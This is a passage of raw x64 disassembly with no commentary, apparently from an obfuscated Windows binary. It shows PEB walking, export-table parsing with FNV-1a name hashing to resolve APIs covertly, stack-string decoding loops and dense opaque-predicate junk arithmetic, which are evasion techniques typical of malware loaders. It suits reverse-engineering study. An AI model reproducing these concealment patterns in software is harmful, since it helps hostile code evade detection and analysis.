mov word [rsp + 0xadd], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jae 0x1400412b7
movabs rbx, 0x37f9cc5f8dfe5208
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xac0]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x38
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xac0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jb 0x140041270
lea rdx, [rsp + 0xac0]
lea rcx, [rsp + 0x1a68]
call fcn.140001d00
nop
mov r13d, dword [rsp + 0x1564]
mov r12d, dword [rsp + 0x1564]
movsd xmm8, qword [0x140073f70]
movsd xmm6, qword [0x140073f78]
nop
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14004139a
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14004139a
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140041395
mov ecx, 0xae53fa9b
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140041370
cmp ecx, 0xaa3648d3
je 0x1400414d9
test r8d, r8d
jne 0x140041340
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400413b0
cmp qword [rax + 0x30], 0
je 0x1400413b0
mov al, 1
jmp 0x1400413b2
xor al, al
test al, al
jne 0x140041310
xor r14d, r14d
mov edx, r14d
mov ecx, dword [rsp + 0x1564]
call rdx
mov rsi, rax
mov qword [rsp + 0x50], rax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx ecx, al
mov eax, ebx
imul eax, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041829
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r14
test rsi, rsi
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400414f8
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400414f8
mov esi, 7
mov dword [rsp + 0x6c], esi
jmp 0x140041594
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor r14d, r14d
jmp 0x1400413c0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041590
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x6c], esi
jmp 0x140041594
mov esi, dword [rsp + 0x6c]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140041829
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov edx, esi
imul edx, edi
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400416d8
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400416d8
mov r12d, 7
jmp 0x14004176b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004176b
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si r12d, xmm0
cmp r14d, r12d
jge 0x140041829
mov byte [rsp + 0xb00], 0xc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb01], xmm0
mov dword [rsp + 0xb11], eax
xor r12d, r12d
mov qword [rsp + 0x50], r12
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x1400417f7
movabs rbx, 0xac8dd451854e28fe
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0xb00]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0xe
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xb00], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x1400417b0
lea rdx, [rsp + 0xb00]
lea rcx, [rsp + 0x1a48]
call fcn.140001d00
or dword [rsp + 0xa0], 0x2000
lea rcx, [rsp + 0x1a68]
call fcn.140001c70
jmp 0x140043bb1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x1400418ca
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x1400418ca
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x1400418c5
mov ecx, 0x3f88bbc3
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400418a0
cmp ecx, 0x93c2fbfb
je 0x140041abf
test r8d, r8d
jne 0x140041870
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x1400418e0
cmp qword [rax + 0x30], 0
je 0x1400418e0
mov al, 1
jmp 0x1400418e2
xor al, al
test al, al
jne 0x140041840
xor esi, esi
mov eax, esi
lea rcx, [rsp + 0x1564]
mov qword [rsp + 0x20], rcx
mov r14, qword [rsp + 0x50]
mov r9, r14
xor r8d, r8d
mov edx, dword [rsp + 0x64]
mov ecx, r15d
call rax
mov r15d, eax
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042315
mov byte [rsp + 0xb40], 0x4f
mov byte [rsp + 0xb41], 0xd9
mov byte [rsp + 0xb42], 0xda
mov byte [rsp + 0xb43], 0xdb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb44], xmm0
mov dword [rsp + 0xb54], eax
mov word [rsp + 0xb58], ax
mov qword [rsp + 0x58], rsi
mov rax, qword [rsp + 0x58]
cmp rax, 0x1a
jae 0x1400419f4
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xb40]
movabs rax, 0x9fdfe22b67ed5124
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 4
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xb40], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1a
jb 0x1400419a3
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, rsi
cmp r15d, dword [rsp + 0xb40]
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041add
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140041add
mov esi, 7
mov dword [rsp + 0x74], esi
jmp 0x140041b79
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov eax, dword [rcx + rax*4]
add rax, r9
xor esi, esi
jmp 0x1400418ee
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041b75
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x74], esi
jmp 0x140041b79
mov esi, dword [rsp + 0x74]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140041cb5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x140041c66
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140041c66
mov r10d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x140041c61
mov ecx, 0xa7942156
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140041c40
cmp ecx, 0x9fd051b4
je 0x140041c9c
test r8d, r8d
jne 0x140041c10
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x140041c7c
cmp qword [rax + 0x30], 0
je 0x140041c7c
mov al, 1
jmp 0x140041c7e
xor al, al
test al, al
jne 0x140041be0
xor edx, edx
mov rcx, qword [rsp + 0x50]
call rdx
xor r14d, r14d
mov qword [rsp + 0x50], r14
jmp 0x140042315
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x140041c88
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042315
call fcn.1400037a0
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.140003780
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*2]
sub ebx, edi
movsx edx, byte [0x14007c0dc]
movsx ecx, al
lea eax, [rbx + rdx]
add eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041de8
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140041de8
mov esi, 7
mov dword [rsp + 0x78], esi
jmp 0x140041e84
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041e80
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x78], esi
jmp 0x140041e84
mov esi, dword [rsp + 0x78]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x14004255d
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041f76
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140041fe1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140041fe1
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x58]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042315
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, esi
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004211d
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004211d
mov esi, 7
mov dword [rsp + 0x60], esi
jmp 0x1400421b9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400421b5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x60], esi
jmp 0x1400421b9
mov esi, dword [rsp + 0x60]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140042315
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400422aa
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x140042315
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042315
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x58]
mov byte [rsp + 0xb60], 0x77
mov byte [rsp + 0xb61], 0xc5
mov byte [rsp + 0xb62], 0xc4
mov byte [rsp + 0xb63], 0xc3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb64], xmm0
mov qword [rsp + 0xb74], rax
xor ebx, ebx
mov qword [rsp + 0x58], rbx
mov rax, qword [rsp + 0x58]
cmp rax, 0x1c
jae 0x1400423b1
nop dword [rax]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xb60]
movabs rax, 0x474a56673ae1
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x27
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xb60], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1c
jb 0x140042360
mov rax, rbx
cmp r15d, dword [rsp + 0xb60]
sete al
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042479
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140042479
mov r13d, 7
jmp 0x14004250c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004250c
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
